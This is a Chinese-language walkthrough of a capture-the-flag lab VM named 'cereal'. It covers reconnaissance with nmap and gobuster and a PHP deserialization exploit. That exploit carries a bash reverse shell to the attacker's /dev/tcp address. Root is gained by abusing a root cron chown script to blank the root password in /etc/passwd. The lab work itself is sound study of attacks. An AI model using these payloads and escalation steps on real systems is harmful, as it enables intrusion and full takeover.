环境准备
靶机链接:百度网盘 请输入提取码
提取码:bcj2
虚拟机网络链接模式:桥接模式
攻击机系统:kali linux 2021.1
信息收集
1.探测目标靶机 arp-scan -l
2.nmap -p- -A -T4 192.168.1.107
探测目标靶机开放端口和服务
漏洞探测
1.登录ftp查看可利用信息
tp 192.168.1.107
没有找到可以利用的信息
2.用gobuster对目录进行扫描
gobuster dir -u http://192.168.1.107 -w /usr/share/wordlists/dirb/big.txt -t 50
3.访问扫到的目录
4.http://192.168.1.107/admin/index.php 尝试sql注入的可能
5.http://192.168.1.107/blog/ 网页加载不完整,查看源码
6.curl -i -L http://192.168.1.107/blog 查看源码,发现域名信息
7. echo '192.168.1.107 cereal.ctf' >> /etc/hosts
source /etc/hosts
再次访问页面正常状态
8.gobuster vhost -u http://cereal.ctf -w /usr/share/wordlists/dirb/big.txt
没有检测到任何子域信息
9.访问44441端口
10.用gobuster对44441端口,其子域进行扫描
11.成功探测到子域信息,将子域添加到/etc/hosts
echo '192.168.1.107 secure.cereal.ctf' >> /etc/hosts
12.访问网页是一个执行ping命令的网页,那就可能存在命令执行漏洞
13.输入192.168.1.106-c 3;whoami
#-c 3 ping命令只执行三次 输入命令,没有回显。用curl命令看网页源码
14.发现serialize()函数 这是序列化
15. 扫描子域的目录
gobuster dir -u http://secure.cereal.ctf:44441 -w /usr/share/wordlists/dirb/big.txt -t 50
漏洞利用
1.更换字典,成功扫出back_en目录
gobuster dir -u http://secure.cereal.ctf:44441 \ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -t 100 -e
//一定要用-t 参数设置线程 要不然很慢,我这里用和没有差距在三分钟
2.查看网页 curl -i -L http://secure.cereal.ctf:44441/back_en/
3.成功扫出新目录
4.用curl命令查看新目录的源码,发现为ping命令的代码
pingTest这个类具有三个属性 ipAddress 来自请求正文, isValid 确定输入是否有效以及随后发送的输出。默认情况下,isValid 的值为 False,因此从浏览器发送请求时,它一定都会进入 if 模块。该模块检查该值是否为 IP 地址。因此,当我们尝试注入命令时,它拒绝了输入,所以,如果我们在请求中发送值 True,则根本不会执行 if 块。然后,它会直接调用 ping 方法。
curl -i -L http://secure.cereal.ctf:44441/back_en/index.php.bak
5.所以这里可以利用bp抓包,将public $isvalid = True;直接自己构造一个函数,进行反弹 shell的命令。
<?php class pingTest { public $ipAddress = "192.168.1.106;bash -c 'bash -i >& /dev/tcp/192.168.1.106/4444 0>&1'"; public $isValid =True; } echo urlencode(serialize(new pingTest)) ?>
6.抓到数据包后将obj=后的数据替换为自己构造的php代码即可反弹shell
权限提升
1.SHELL=bash script -q /dev/null 回弹交互式shell
2.在找不到任何有用信息后,上传我们的pspy64(github可以找到),
发现一个uid=0 也就是root用户执行的文件 chown.sh
3.chown 需要超级用户 root 的权限才能执行此命令,通过chown改变文件的拥有者和群组 ,我们先查看chown.sh文件,发下只有可读权限,只有root有执行权限。
4.chown.sh它这个命令的强大可以把我想改的文件去更换拥有者,所以创建一个软连接,让它来帮我去执行,/etc/passwd 文件是可读可写可更改的 那我们可以把root用户密码改为空,达到提权的目的
5.等过几分钟后,文件拥有者已经改变
6.etc/passwd 文件中的 x 是保存加密密码的地方。因此,如果我从该行中删除了 x ,也就是删除 root 用户的密码身份验证。
7.由于靶机本地用vi命令无法改,故将passwd下载到本地,把root用户改为无密码登录,再上传到靶机,进行提权操作。
8.成功上传后,执行su命令进入root目录 拿下flag!!!